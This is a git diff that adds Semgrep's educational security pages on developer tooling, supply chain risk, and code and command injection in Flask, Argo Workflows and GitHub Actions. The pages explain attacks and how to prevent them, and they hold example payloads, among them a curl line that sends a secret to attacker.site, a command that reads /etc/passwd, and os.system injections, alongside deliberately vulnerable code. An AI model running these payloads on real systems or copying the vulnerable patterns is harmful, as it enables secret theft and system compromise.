+We have more security tools than ever, yet vulnerabilities continue to get introduced. The real problem isn’t detection, it is prevention at scale. We need to enable developers with the right tools, features, and integrations. Effective security tools meet developers where they are; in their code editors, code repositories, and ticketing systems. They are fast, accurate, and provide actionable feedback.
+
+## Keeping developers in their workflows
+
+Security and development teams have historically experienced friction. Developers often view security as a blocker that slows down their work, while security teams see themselves as protecting the integrity of the codebase. To make security effective, it needs to meet developers where they already work, rather than forcing them to adopt new, disconnected processes.
+
+The DevOps movement offers a valuable lesson here: when speed and automation are prioritised, adoption improves dramatically. Security can follow the same path by focusing on accuracy and seamless integrations. The goal for security testing tools is to provide fast, precise feedback that helps developers fix issues without interrupting their flow.
+
+## Security tools and their features
+
+A variety of security tools are available to support developers, each addressing a different risk area. Static Application Security Testing (SAST) helps identify vulnerabilities in source code. Software Composition Analysis (SCA) monitors open-source dependencies for known vulnerabilities. Secret scanning ensures that sensitive information such as API keys or credentials is not accidentally committed to repositories.
+
+For these tools to be truly useful, they must go beyond simply flagging issues.
+
+- **Rule customization** is essential so teams can focus on findings that are relevant to their environment.
+- Effective tools also provide **remediation guidance**, offering developers clear, actionable steps to resolve problems rather than just pointing them out.
+
+Research has shown that customizable rules with active remediation guidance greatly improve the developer experience and result in higher fix rates [1-4].
+
+## Integration into developer workflows
+
+
+
+
+
+### Local development
+
+The most powerful place to integrate security testing is directly into the developer’s daily environment.
+
+- **IDE Integration:** Providing real-time feedback inside the IDE allows developers to see issues as they type and receive inline fix suggestions. Research has shown that this approach can increase fix rates dramatically, in some cases up to 98% [1-3].
+- **CLI and Manual Scans:** Developers who prefer command-line workflows can run deeper, on-demand scans before committing their code.
+- **Pre-commit Hooks:** Serving as the last line of defense before code enters source control, pre-commit hooks can be configured to block commits only when rules are proven to be highly accurate for a given codebase.
+- **MCP Server Integration:** As AI-assisted coding becomes more common, integrating security checks directly into model-context protocol (MCP) servers ensures that LLM-generated code is automatically reviewed with context-aware security suggestions.
+
+### CI/CD pipeline
+
+Security checks in the CI/CD pipeline provide additional layers of assurance without disrupting the developer’s inner loop.
+
+- **Pre-receive Hooks:** Depending on platform support, these serve as a final gate before code reaches the main branch.
+- **SCM Integration Features:** Diff-aware scanning helps security tools focus on newly changed code, while automated comments on pull requests give developers immediate feedback. Status checks can also block merges for specific high-confidence rules.
+- **Build Integration:** Teams can choose between incremental scans for speed or full scans for comprehensive coverage, depending on the stage of the build.
+
+### Reporting and tracking
+
+Security findings need to be tracked and communicated effectively to avoid becoming noise.
+
+- **Output Formats:** Supporting common formats such as SARIF, JSON, CSV, and SBOM ensures compatibility with other systems.
+- **Dashboard Requirements:** Dashboards should go beyond raw counts of vulnerabilities, offering trend analysis, mean time to remediation (MTTR), vulnerability density metrics, and adoption rates among developers. They should also make it easy to triage findings, and update rules to increase confidence.
+- **Team Communication:** Automated workflows ensures the right findings are prioritized and fixed within the required time frames. The tool should integrate with the ticketing system, like Jira or Linear. It could also be enabled to send notifications to Slack or Teams, or even used for triggering webhooks for custom integrations.
+
+## Conclusion
+
+Security testing becomes effective when it feels like a natural extension of a developer’s workflow. Tools should be integrated directly into environments like the IDE, not added as external hurdles. Feedback must be tuned for accuracy and presented with actionable guidance so that developers can resolve issues quickly without slowing down. Ultimately, the most effective security tool is the one that developers actually use.
+
+### References
+
+[1] De Cremer, Pieter. *The paved path methodology: a human-centered approach to software security*. Diss. Ghent University, 2021.
+
+[2] Sadowski, Caitlin, et al. "Tricorder: Building a program analysis ecosystem." 2015 IEEE/ACM 37th IEEE International Conference on Software Engineering. Vol. 1. IEEE, 2015.
+
+[3] De Cremer, Pieter, et al. "Sensei: Enforcing secure coding guidelines in the integrated development environment." *Software: Practice and Experience* 50.9 (2020): 1682-1718.
+
+[4] Xie, Jing, et al. "ASIDE: IDE support for web application security." *Proceedings of the 27th Annual Computer Security Applications Conference*. 2011.
diff --git a/mintlify-docs/learn/security-foundations/supply-chain-security.mdx b/mintlify-docs/learn/security-foundations/supply-chain-security.mdx
new file mode 100644
index 0000000000..92f3c9bcfa
--- /dev/null
+++ b/mintlify-docs/learn/security-foundations/supply-chain-security.mdx
@@ -0,0 +1,109 @@
+---
+title: "Understanding supply chain security"
+sidebarTitle: "Supply chain security"
+---
+
+
+If you’re building software, you’re likely using packages, libraries, containers, or other dependencies maintained by someone else. That convenience comes with a cost. Any weakness in the software supply chain is a potential path for compromise. Attackers exploit this growing web of third-party code, public registries, and automated build pipelines that make up the modern development stack. And because the code you depend on isn’t yours, these weaknesses are harder to find and fix.
+
+**Supply Chain Security** is the practice of understanding and remediating those security issues. If your application depends on external code, your security does too.
+
+In this article, we’ll explore what supply chain security actually means. First, we’ll look at how third-party code becomes part of your application. Then, we’ll examine the risks—from known vulnerabilities to dependency confusion. Finally, we’ll walk through how modern tools like Semgrep Supply Chain can help you detect, prioritize, and fix issues in your third-party codebase.
+
+## What is supply chain security?
+
+Supply chain security refers to securing all the components that contribute to building and running your software. This includes third-party libraries, system packages, build tools, container images, and the registries they come from. We use these components to speed up development, but in doing so, we inherit their bugs and vulnerabilities.
+
+To manage that risk, organizations rely on a practice called **Software Composition Analysis (SCA)**. SCA tools examine which packages your application uses, what known issues exist in those packages, and whether those issues affect your code in practice. A good SCA tool doesn’t just surface a list of **CVEs (Common Vulnerabilities and Exposures)**, it helps you triage, prioritize, and fix them. SCA tools commonly encompass security, software licensing compliance, reliability, and more.
+
+The challenge with supply chains is that dependency graphs are complex. Most modern apps don’t just include a few libraries, they include hundreds. Many of those are **transitive dependencies**: code that your code relies on *indirectly*, through other packages. These transitive dependencies often go unnoticed, but they carry just as much risk because the impacts of a compromise can be exponential.
+
+Dependencies are commonly managed through two key files:
+
+- **Manifest files** describe which packages your application needs. This includes files like JavaScript's package.json or Python's requirements.txt.
+- **Lockfiles** record exactly which versions of dependencies were installed, including transitive dependencies. This includes files like Yarn's yarn.lock or NPM's package-lock.json.
+
+Often, SCA tools may produce a file known as a **Software Bill of Materials (SBOM)** as defined by [RFC 9472](https://datatracker.ietf.org/doc/html/rfc9472). This artifact enumerates the libraries, tools, code, and often software license and security status of components. These can be important deliverables for compliance purposes for agreements around acceptance of security and legal risk.
+
+Together, these all these files help define your software supply chain—and they’re what security tools analyze to understand your dependency tree.
+
+## Why supply chain vulnerabilities matter
+
+When a vulnerability is found in a package you use, your first question is usually: “Is this actually a problem for me?” That’s where **reachability** and **exploitability** come in.
+
+### What is reachability?
+
+A vulnerable function might exist in a library, but if your code never calls that function, it’s not reachable. Similarly, even if your code does call it, proper input validation or authentication checks might mean it’s not exploitable. Understanding this difference is critical for prioritizing what to fix first.
+
+This is what makes SCA challenging. Most tools will tell you what’s vulnerable, but not whether it matters. That’s why many security engineers spend hours manually investigating vulnerabilities. They look for references in the code, study input and output patterns, and try to reproduce exploits. When you’re dealing with hundreds of packages, this manual triage doesn’t scale very well.
+
+Reachability is purely hypothetical; even if a vulnerability is reachable, it may not actually be exploitable. Exploitability is a practical assessment because user input might be properly sanitized, access controls may block entry points, etc.
+
+
+
+
+
+
+Tools like [Semgrep Supply Chain](https://semgrep.dev/products/semgrep-supply-chain) help by using static analysis to detect whether vulnerabilities are actually reachable from your code. This drastically reduces false positives and lets you focus on what’s truly risky.
+
+## Real-world risks in the software supply chain
+
+Let’s look at some of the ways supply chain vulnerabilities show up in practice.
+
+### Known vulnerabilities in dependencies
+These are the classic CVE-style issues. An old version of a library has a known bug—like a [command injection](/learn/vulnerabilities/command-injection) or path traversal—and your application still uses that version. This is surprisingly common, and usually easy to fix once identified.
+
+### Dependency confusion
+If your internal package shares a name with a public package, and your build system pulls from the public registry first, an attacker can publish a malicious version and have it installed instead. This risk is higher in large organizations with a mix of public and private libraries.
+
+### Typosquatting and malicious packages
+Sometimes attackers upload packages with names that look similar to popular ones (like react1 instead of react). Other times, they intentionally submit useful-looking packages that also include malicious code. These packages can sometimes go unnoticed until they’re already used.
+
+### Insecure registries and build systems
+Even if your dependencies are safe, if you fetch them over insecure channels, or if your CI/CD pipeline isn’t locked down, attackers can inject malicious code during builds or deployment. A **package registry** is a service used for distributing software dependencies. Each programming language typically has its own registry.
+
+- CPAN for Perl
+- NPM for Javascript
+- PyPi for Python
+- RubyGems for Ruby
+- Packagist for PHP
+- and [many more](/semgrep-supply-chain/sca-package-manager-support)
+
+## Detect and prioritize supply chain issues
+
+To reduce your security risks, the first step is visibility. You need to know which packages are part of your application, what versions you’re using, and whether any of those versions are vulnerable. Tools like Semgrep Supply Chain can scan your lockfiles and give you a detailed inventory.
+
+From there, modern SCA goes further. Using static code analysis, you can discover whether vulnerable functions are actually used by your code. That is, whether the vulnerability is reachable. This helps triage issues more efficiently and respond to vulnerabilities that matter most.
+
+For example, suppose the JavaScript library `lodash` has a vulnerability in a rarely used function. If you don’t call that function, the vulnerability isn’t reachable. If you do, and user input reaches it, that’s a different story.
+
+Traditional SCA tools stop at flagging the version. But with reachability analysis, you can decide whether to fix the issue immediately, deprioritize it, or take compensating actions.
+
+## Best practices for securing your software supply chain
+
+Securing your supply chain doesn’t mean giving up on open source. It means managing it responsibly.
+
+### Use lockfiles and keep them under version control
+Lockfiles ensure that everyone on your team uses the same versions of each dependency. This consistency is key for both reliability and security. Without lockfiles, you may think you're running one version, but your CI system or teammate may be running another. Not all languages support lockfiles so a good SCA tool has to use other techniques.
+
+### Keep dependencies up to date
+Use dependency update tools that can propose new versions regularly, and track which updates include security fixes. Many projects let dependencies drift for years, making upgrades painful and riskier. On the other end of the spectrum, automatically including the **latest** release of a dependency can also put you at risk if the supply chain was compromised. The point is to be deliberate and thoughtful to keep dependencies up to date at regular defined intervals.
+
+### Use a reachability-aware SCA tool
+Tools like Semgrep Supply Chain help cut through the noise by identifying which vulnerabilities are actually relevant to your code.
+
+### Audit your dependency graph for unknown or untrusted code
+Pay attention to where your dependencies come from, especially transitive ones. Make sure your registries and build systems are locked down and use integrity checks where possible.
+
+### Establish a patch and response process
+Have a process in place for triaging and responding to newly disclosed vulnerabilities. If a critical issue is found in a widely used library, you want to know quickly—and have a clear path to fixing it.
+
+## Conclusion
+
+Modern applications are built on a mountain of third-party code. That code brings speed, flexibility, and efficiency but also risk. When a vulnerability appears in a package you rely on, it becomes your problem, too.
+
+In this article, we covered what supply chain security is, how vulnerabilities in third-party code can impact your application, how to detect and prioritize real risk using reachability analysis, and what steps you can take to secure your software supply chain.
+
+Supply chain security isn’t about avoiding open source, it’s about using it safely. With the right tools and practices, you can build with confidence, knowing your dependencies are as secure as the code you write yourself.
+
+To get started, try scanning your lockfiles with Semgrep Supply Chain and see which vulnerabilities actually matter to you. Third-party code isn’t going away—but with the right guardrails, it doesn’t have to be a liability.
diff --git a/mintlify-docs/learn/vulnerabilities/code-injection.mdx b/mintlify-docs/learn/vulnerabilities/code-injection.mdx
new file mode 100644
index 0000000000..513b9d7388
--- /dev/null
+++ b/mintlify-docs/learn/vulnerabilities/code-injection.mdx
@@ -0,0 +1,97 @@
+---
+title: "Code Injection"
+description: "An attacker's ultimate goal is often to escalate a vulnerability into something as impactful as possible. The most dangerous outcome is arbitrary code execution, and few vulnerabilities provide as direct a path to it as code injection."
+---
+
+**Code injection** can enable attackers to run their own code, leading to unauthorized access, data leaks, and full system compromise. Allowing untrusted input to reach code execution functions effectively hands control of the system to the attacker.
+
+In this article, we’ll explain what dynamic code evaluation is and why this functionality is sometimes enabled in applications. We’ll then explore common attack techniques, show how these issues can be detected in your own code, and outline practical steps to reduce risk.
+
+
+## What Is Code Injection?
+
+Code injection is a type of software vulnerability that occurs when untrusted input is treated as code and executed. In other words, the attacker supplies data that the application mistakenly interprets as instructions.
+
+This functionality often exists because developers use features like dynamic evaluation (`eval` or `exec`) to add flexibility to their code. Such features allow applications to evaluate text as code at runtime. While this can solve problems quickly, it also opens a door: if outside input reaches these functions, the application can be tricked into running commands the developer never intended.
+
+Dynamic execution is sometimes used to launch other programs (like opening a file explorer), or to run code in a background, parallel process.
+
+The security risk arises because the interpreter or runtime cannot distinguish between “intended” code and injected code once the input is passed along. At that point, the attacker’s instructions are executed with the same permissions as the application.
+
+
+## Common Code Injection Attacks
+
+One common form of code injection involves dynamic evaluation of input. Developers sometimes reach for this approach when they want to quickly process user-provided data.
+
+### Remote Code Execution (RCE)
+
+Even if you didn’t write any code yourself that allows for dynamic evaluation of input, you should be cautious. Many Remote Code Execution (RCE) vulnerabilities surface through the use of third party libraries that do.
+
+For example, imagine a small web application that lets users send in a list of numbers to be added together. A developer might be tempted to pass the raw input directly into a function like `eval` to convert it into a list structure at runtime. For example, imagine a Flask route that looks like this:
+
+```python
+from flask import Flask, request
+
+app = Flask(__name__)
+
+@app.route("/sum")
+def sum_numbers():
+ numbers = request.args.get("numbers")
+ numbers_list = eval(numbers)
+ total = 0
+ for num in numbers_list:
+ total += num
+ return f"Sum is {total}"
+```
+
+An intended request might have the following value for the numbers request parameter:
+
+```text
+[1,2,3]
+```
+
+The `eval` function quickly turns this string into a Python list-object, and the resulting list is easy to work with for the developer.
+But since the application uses `eval`, an attacker could instead send a malicious string instead:
+
+```python
+__import__('os').system('whoami')
+```
+
+The actual command is likely to be more malicious than executing `whoami`, with consequences far beyond just adding numbers.
+
+
+
+## Detecting Code Injection in Your Code
+
+Here is what that vulnerable web application might look like in simplified form:
+
+```python
+from flask import Flask, request
+
+app = Flask(__name__)
+
+@app.route("/route")
+def my_route():
+ input_string = request.args.get("string")
+ eval(input_string)
+```
+
+The vulnerability arises from the data flow: the request parameter, controlled by the user, flows directly into `eval`. Instead of being treated only as data, it is interpreted as code and executed by the runtime.
+
+To spot issues like this, developers can review whether functions such as `eval` or `exec` ever receive input that originated outside the application. This isn’t always easy, as the function calls to these functions may be in third party code. Additionally, evaluating large projects manually is error-prone and time-consuming. Tools like Semgrep make this easier by automatically tracing input from sources such as web requests into functions that interpret or execute code. This allows teams to detect risky flows before they become exploitable vulnerabilities.
+
+
+## Recommendations and Mitigations
+
+The simplest way to avoid code injection is to never run dynamic code based on user input. If you find yourself reaching for functions that evaluate or execute code at runtime, stop and ask whether there is a safer alternative.
+
+When dynamic evaluation truly cannot be avoided, strict validation becomes essential. This means defining exactly what input is acceptable and rejecting everything else. For example, if only numbers are valid, enforce numeric input only. Avoid strategies such as trying to sanitize or escape input, since these are error-prone and attackers often find ways around them.
+
+
+## Conclusion
+
+Code injection happens when applications execute untrusted input as code, giving attackers control over what the application runs. We have discussed what code injection is, how common attacks work, how you can detect them, and what practical steps can reduce risk.
+
+As a developer, the key takeaway is simple: do not mix user input with code execution. When this is unavoidable, validate inputs strictly and use safer alternatives whenever possible. Tools like Semgrep can help you detect risky patterns before they lead to real-world problems.
+
+Code injection remains one of the most impactful security issues because it gives attackers a direct path to execute their own instructions. By understanding how these vulnerabilities arise and how to avoid them, you can make deliberate choices about when and how to use dynamic code, and ensure that flexibility never comes at the cost of security.
diff --git a/mintlify-docs/learn/vulnerabilities/command-injection.mdx b/mintlify-docs/learn/vulnerabilities/command-injection.mdx
new file mode 100644
index 0000000000..1eb2f73bc3
--- /dev/null
+++ b/mintlify-docs/learn/vulnerabilities/command-injection.mdx
@@ -0,0 +1,98 @@
+---
+title: "Command Injection"
+---
+
+Imagine opening your server’s terminal and letting a stranger type whatever they want. That is essentially what happens when untrusted input reaches an operating system command in your code. If your code runs OS commands using untrusted data, you are effectively doing just that. Allowing attackers to execute os commands can result in exposure of sensitive data, disruption of services, and arbitrary code execution. In short, total compromise of the system.
+
+To avoid running OS commands with untrusted input, use libraries with the same functionality wherever possible. If OS commands are unavoidable, use system libraries that can separate the command from the arguments and flags, and always validate and escape the input.
+
+In this article, we will first explain what OS command execution is and why developers use it. Next, we will cover common attacks that exploit this functionality. After that, we will show how these issues can be detected in code. Finally, we will discuss practical steps you can take to reduce risk.
+
+## What is Command Injection?
+
+Applications sometimes call out to the underlying operating system to perform tasks that are difficult to implement otherwise. Examples include listing files, converting media formats, invoking system utilities, or starting background processes. The convenience of delegating work to existing system tools is what makes this technique appealing.
+
+The risk arises because system shells interpret more than just text. They recognize special characters such as `&`, `;`, or `|` that can change the meaning of a command. If untrusted input from users, APIs, or external systems reaches the shell without proper handling, it can alter the command in ways the developer did not intend. This creates an opening for OS command injection.
+
+## Common Code Injection Attacks
+
+One of the most basic forms of OS command injection involves chaining commands. Suppose an application accepts a user parameter and uses it directly in a system call. An attacker could supply input that ends the original command and appends a new one.
+
+For example, consider a URL that runs a script with user input:
+
+```text
+https://semgrep.dev/check?filename=test.txt
+```
+
+If the application internally runs:
+
+```bash
+listfiles test.txt
+```
+
+a user could provide input like:
+
+```text
+test.txt;cat%20/etc/passwords
+```
+
+The framework would decode the `%20` character into a string and the actual command executed would become:
+
+```bash
+listfiles test.txt;cat /etc/passwords
+```
+
+The second command would reveal sensitive information to the attacker.
+
+A variation known as **blind command injection** occurs when the application does not display command output. Attackers then rely on indirect signals, such as time delays. For instance, by submitting input like:
+
+```text
+test.txt && sleep 10
+```
+
+The attacker can measure that the server takes 10 seconds longer to respond, confirming that the injected command ran.
+
+
+## Detecting Command Injection Vulnerabilities in Your Code
+
+To illustrate, here is a simplified Python Flask code example:
+
+```python
+from flask import Flask, request
+import os
+
+app = Flask(__name__)
+
+@app.route("/run")
+def run_command():
+ directory = request.args.get("directory")
+ return_code = os.system("ls " + directory)
+ return "{'return_code':" + return_code + "}"
+```
+
+In this code, whatever value a user passes in the `directory` parameter is used in a system command. If someone requests:
+
+```text
+https://semgrep.dev/run?directory=myfile;whoami
+```
+
+Then `whoami` is executed. The vulnerability arises from the data flow: input from a web request moves directly into an OS command without filtering or validation.
+
+Developers can look for red flags such as functions that invoke the shell (`system`, `exec`, `popen`, or `subprocess` with `shell=True`) combined with input that originates from outside the application. Tools like Semgrep can automatically trace this flow. Semgrep can identify when untrusted sources, like web request parameters, reach sensitive functions that execute commands. This makes it possible to scan your codebase for such patterns and prevent them before release.
+
+
+## Recommendations and Mitigations
+
+The most effective safeguard is to avoid calling system commands from your application code. Many tasks that seem to require shell commands can often be implemented using built-in libraries or safe APIs that accept structured parameters instead of raw command strings.
+
+If OS commands are unavoidable, use functions or APIs that accept the command separate from its arguments and flags, ensuring that special characters in the arguments cannot lead to the execution of a second command.
+
+Even then, always carefully validate input. One strategy is to restrict values to a predetermined allowlist. Another is to ensure that input matches a limited format, such as numbers only. Quoting or escaping user input is unreliable on its own, since shells interpret text in many different ways depending on context. There are countless public payload lists showing how attackers bypass escaping and blocklists. Relying on those defenses alone is rarely sufficient.
+
+## Conclusion
+
+OS command injection occurs when untrusted input is used in operating system commands, giving attackers control over what those commands execute. We have discussed why applications call OS commands, how injection attacks typically work, how you can detect them in code, and what practices can help reduce the risk.
+
+As a developer, the key lesson is to avoid mixing user input with system commands. When it cannot be avoided, validate inputs strictly and prefer safe execution methods. Tools like Semgrep can help by automatically finding injection points in your codebase.
+
+By treating untrusted input as if it were a stranger at your keyboard, you can keep your terminal under your control.
diff --git a/mintlify-docs/learn/vulnerabilities/command-injection/argo-injection.mdx b/mintlify-docs/learn/vulnerabilities/command-injection/argo-injection.mdx
new file mode 100644
index 0000000000..494b5c0f28
--- /dev/null
+++ b/mintlify-docs/learn/vulnerabilities/command-injection/argo-injection.mdx
@@ -0,0 +1,138 @@
+---
+title: "Command Injection in Argo Workflows"
+---
+
+In March 2021, security researchers reported a [command injection](/learn/vulnerabilities/command-injection) issue in Argo Workflows (see [GitHub issue #5061](https://github.com/argoproj/argo-workflows/issues/5061)). The report highlighted how seemingly harmless parameter substitutions could allow attackers to execute arbitrary code inside Kubernetes jobs.
+
+In this article, you’ll learn to avoid using input parameters directly inside script bodies in Argo, and to convert parameters to environment variables instead to keep them safe. We will first explain what Argo Workflows are and why parameters can be risky. We will then cover common injection attacks against Argo templates. Next, we will show how to detect risky patterns in your code using Semgrep. Finally, we will provide concrete mitigation steps you can apply immediately in your workflows.
+
+## Understanding Argo Workflows and Parameters
+
+Argo Workflows is a Kubernetes-native workflow engine designed to define and run complex jobs. It exists to simplify running multi-step workloads, such as data processing or CI/CD pipelines, directly inside Kubernetes. Developers can define workflows in YAML, and Argo executes the steps as pods.
+
+The features that makes Argo so flexible, the use of parameters and templates, is also what creates security risks. Parameters in templates are written with curly brace placeholders (called mustache templates) like `{{inputs.parameters.message}}`. During execution they are replaced by the actual input values.
+
+## Common Injection Attacks in Argo Workflows
+
+When mustache template placeholders are used directly inside a script or command, they act like unquoted user input, meaning they can inject arbitrary commands or code.
+
+### Injection in the `script` template
+
+The most straightforward risk is **command injection** in shell scripts. Consider this workflow step:
+
+```yaml
+script:
+ image: debian:9.4
+ command: [bash]
+ source: |
+ echo {{inputs.parameters.message}}
+```
+
+If an attacker provides `hello | whoami` as the parameter, Argo replaces the placeholder before execution, and the container runs both `echo hello` and `whoami`. This means that the attacker can execute arbitrary commands inside your pod.
+
+Besides shell scripts, Argo also provides support for other programming languages. With the same technique, these scripts are vulnerable to **code injection.** For example, when using Python, if you write:
+
+```yaml
+script:
+ image: debian:9.4
+ command: [python]
+ source: |
+ print("{{inputs.parameters.message}}")
+```
+
+And the input is crafted as:
+
+```yaml
+test")
+import os
+os.system("id")
+print("string
+```
+
+The result is that attacker-controlled code is executed, leaking information or taking control of the container.
+
+We have been able to reproduce these issues in many of the languages we tested: Bash, sh, Python, Node.js, Perl, and Ruby. This means any workflow using inline scripting with parameters is at risk.
+
+### Injection in the `container` template
+
+In the `container` template, you can specify an `image`, `command` and `args`, and this command will be executed on the docker image with the provided args. The command can contain flags, and the args seem to be multiline. Functionally it looks equivalent to the `script` template, but the string in the `args` value is properly escaped, so that no pipe symbol can be used to pipe additional commands.
+
+However, when the command itself is not a direct shell command, but one that initiates a new shell or language interpreter such as Python, the same issues remain. Here’s a vulnerable example:
+
+```yaml
+ container:
+ image: alpine:latest
+ command:
+ - sh
+ - '-c'
+ args:
+ - 'echo {{inputs.parameters.message}}'
+```
+
+---
+
+## Detecting Vulnerable Patterns in Your Code
+
+Let’s look at a vulnerable workflow template:
+
+```yaml
+metadata:
+ generateName: semgrep-vuln-research-node
+spec:
+ templates:
+ - name: print-message-node
+ inputs:
+ parameters:
+ - name: message
+ outputs: {}
+ metadata: {}
+ script:
+ name: ''
+ image: node:9.1-alpine
+ command:
+ - node
+ resources: {}
+ source: |
+ var rand = Math.floor(Math.random() * 100);
+ console.log("{{inputs.parameters.message}}");
+ entrypoint: print-message-node
+ arguments:
+ parameters:
+ - name: message
+ artifactRepositoryRef:
+ key: security-research
+ archiveLogs: true
+```
+
+Just like the example above, the vulnerability is that the `message` parameter is substituted directly into a node script. If this workflow were run with an attacker-supplied parameter, it could execute unintended commands.
+
+To detect such cases systematically, with [Semgrep](https://semgrep.dev/), you can use the free and [open source rule](https://github.com/semgrep/semgrep-rules/blob/develop/yaml/argo/security/argo-workflow-parameter-command-injection.yaml) `argo-workflow-parameter-command-injection`. It flags instances where parameters are inserted directly into shell scripts or code sources. Semgrep scans YAML definitions and reports if a parameter placeholder is used in a risky location, such as inside `script.source` or `container.args` fields.
+
+By running Semgrep against your workflow repository, you can catch these injection hotspots before they make it into production.
+
+## Recommendations and Mitigations
+
+The most effective mitigation is to avoid inserting parameters directly into script bodies. Instead, convert them into environment variables, which are properly escaped by default. For example, the previous node workflow can be rewritten as:
+
+```yaml
+script:
+ image: debian:9.4
+ env:
+ - name: MESSAGE
+ value: "{{inputs.parameters.message}}"
+ command: [bash]
+ source: |
+ echo $MESSAGE
+```
+
+This way, user input is treated as plain text rather than executable code.
+
+For Python or Node.js, apply the same pattern: store parameters in environment variables and access them safely using the language’s standard library (`os.getenv` in Python, `process.env` in Node.js).
+
+Integrate Semgrep into your CI pipeline to continuously scan for these issues.
+
+## Conclusion
+
+Command injection in Argo Workflows is a subtle but serious risk. What looks like a simple parameter substitution can allow attackers to run arbitrary commands in your Kubernetes environment. In this article, we saw how Argo parameters work, how attackers can abuse them in Bash or Python scripts, how to detect risky patterns using Semgrep, and how to fix workflows by moving parameters into environment variables.
+
+If you use Argo Workflows today, review your YAML templates for direct parameter substitution in scripts and replace them with safer patterns. You can start by scanning your codebase with Semgrep rules designed for Argo.
diff --git a/mintlify-docs/learn/vulnerabilities/command-injection/github-actions-injection.mdx b/mintlify-docs/learn/vulnerabilities/command-injection/github-actions-injection.mdx
new file mode 100644
index 0000000000..83dcf08959
--- /dev/null
+++ b/mintlify-docs/learn/vulnerabilities/command-injection/github-actions-injection.mdx
@@ -0,0 +1,186 @@
+---
+title: "Injection Attacks in GitHub Actions"
+sidebarTitle: "Command Injection in GitHub Actions"
+---
+
+
+A user opens a GitHub issue titled `"; curl http://attacker.site?token=${{ secrets.SERVICE_SECRET }}; x="`, and a few seconds later, your GitHub Actions runner silently executes it. Just like that, a secret is exfiltrated. This isn’t hypothetical—this is a textbook example of [command injection](/learn/vulnerabilities/command-injection) in GitHub Actions.
+
+Modern CI/CD pipelines like GitHub Actions automate everything from testing and building to deploying production code. But when workflows are written insecurely, they can become an attacker’s playground. This risk is especially relevant when user-supplied data flows directly into commands or scripts.
+
+There are also potential for [code injection](/learn/vulnerabilities/code-injection) where instead of executing a command, source code is included in the configuration to run. So both command and code injection have a common security vulnerability theme, untrusted user input including in GitHub Actions workflows can lead to exfiltrating tokens, compromising infrastructure, or creating releases to distribute malware.
+
+In this article, we’ll break down how command and code injection can happen in GitHub Actions, explore common attack patterns, show how to detect it in code, and end with practical advice to avoid these issues in your own workflows.
+
+## GitHub Actions Fundamentals
+
+GitHub Actions is a CI/CD platform built directly into GitHub. At its core, a workflow is defined in a YAML file located in the `.github/workflows/` directory of a repository. Each workflow is made up of jobs, and each job typically has a *runner* which provides services to execute the job typically in a container environment. Jobs may contain multiple *steps*, which run shell commands, execute scripts, or trigger external actions.
+
+A typical example might look like this:
+
+```yaml
+on: pull_request
+name: my-workflow
+jobs:
+ my_job:
+ runs-on: ubuntu-latest
+ steps:
+ - run: echo "Hello Semgrep!"
+```
+
+Workflows can be triggered by a wide range of events, including issue creation, pull requests, pushes, and even comments. Every trigger includes a payload of metadata—such as issue titles or pull request branch names—that teams often use inside the workflow using templating syntax like `${{ github.event.issue.title }}`.
+
+This convenience is also where the risks begin.
+
+## Common GitHub Actions Attacks
+
+Let's look at some common injection attacks that can happen with GitHub Actions.
+
+### Command Injection within GitHub Actions
+
+A workflow might include a step like this:
+
+```yaml
+- run: echo "${{ github.event.issue.title }}"
+```
+
+This command looks innocent—it just echoes the issue title to the console. This is unsafe because `github.event.issue.title` comes from a user input field and is inserted directly into a shell command. A bad actor could open an issue in a public repo and any input they use for the title of the issue is inserted directly into the shell command.
+
+For example, a title like this:
+
+```text
+"; curl http://attacker.site?token=${{ secrets.SERVICE_SECRET }}; x="
+```
+
+Would result in the following shell execution:
+
+```bash
+echo ""; curl http://attacker.site?token=... ; x=""
+```
+
+This effectively leaks the secret token to an external server. Typically this might be combined with a `sleep` so that there is an opportunity for the attacker to delay the workflow and use the temporary token with malicious intent.
+
+Look for untrusted data sources—like issue titles, branch names, comments or pull request metadata—being inserted into shell commands or scripts.
+
+### Code Injection in Builds with GitHub Actions
+
+To catch this kind of issue, you need to understand both the **source** of the data (where it comes from) and the **sink** (where it’s used). When untrusted input reaches a code execution point like `run`, `script`, or a third-party action’s `args`, it becomes an injection risk. Care should also be taken when `uses` pulls in workflow dependencies like `run-scripts` may come from third-parties.
+
+Here is an example of a workflow that allows the attacker to inject code through a regular pull request anticipating installation which could run any arbitrary code.
+
+```yaml
+name: On Pull Request
+on: pull_request
+jobs:
+ job1:
+ steps:
+ - name: Checkout
+ uses: actions/checkout
+ - name: Install
+ uses: npm install
+```
+
+This example is for a JavaScript build but could also have been a PHP `composer`, Java `maven`, Python `pip install`, and many more package managers with a similar technique.
+
+The attacker can include scripts in the **package.json** build pipeline:
+
+```json
+{
+ "scripts": {
+ "preinstall": "echo 'PWN!'"
+ }
+}
+```
+
+With access to the filesystem, the .git/config can access the repository token and send it to a server.
+
+## Detecting GitHub Actions Vulnerabilities
+
+Semgrep can help identify injection patterns across large codebases. You can use the [p/github-actions](https://semgrep.dev/p/github-actions) ruleset to find common GitHub Actions misconfigurations, including:
+
+- Command injection via `run` shell execution
+- Unsafe code injection triggers like `pull_request_target` with write permissions
+
+To scan your workflows run:
+
+```bash
+semgrep --config p/github-actions
+```
+
+These rules are also included in the `--config p/default` ruleset to help detect issues.
+
+## Recommendations & Mitigations
+
+Some examples and tips to reduce the risk of command injection and related risks in your GitHub Actions workflows.
+
+### Use Environment Variables Instead of Raw User Input
+
+Instead of inserting untrusted values directly into `run`, assign them to environment variables:
+
+**Unsafe:**
+
+```yaml
+- run: echo "${{ github.event.issue.title }}"
+```
+
+**Safe:**
+
+```yaml
+- name: echo-title
+ env:
+ TITLE: ${{ github.event.issue.title }}
+ run: echo "$TITLE"
+```
+
+This prevents premature evaluation and treats the input as literal strings which will be escaped rather than executable code.
+
+### Minimize Permission Settings
+
+Set job-level permissions to `read` by default, especially when handling untrusted inputs:
+
+```yaml
+permissions:
+ contents: read
+```
+
+Avoid using event types like `pull_request_target` unless absolutely necessary, as it grants write permissions to the `GITHUB_TOKEN` by default.
+
+For any secrets configured, limit their access from org-wide level whenever it is not necessary. Branch protection rules can also be effective of limiting permissive settings that can be detected before being exploited.
+
+### Separate Untrusted Code Execution
+
+If you need to compile or execute third-party code (like running tests or installing packages from a pull request), isolate that logic in a separate job with minimal permissions. Use job outputs or artifacts to pass the results to a privileged job that performs actions like approving pull requests.
+
+```yaml
+name: Delegate Privileged Jobs
+on: pull_request
+jobs:
+ build:
+ name: Unprivileged Build Job
+ permissions:
+ contents: read
+ steps:
+ - name: checkout
+ uses: actions/checkout@v6
+ - name: install
+ run: npm install
+
+ approve:
+ name: Privileged Approval Job
+ needs: build
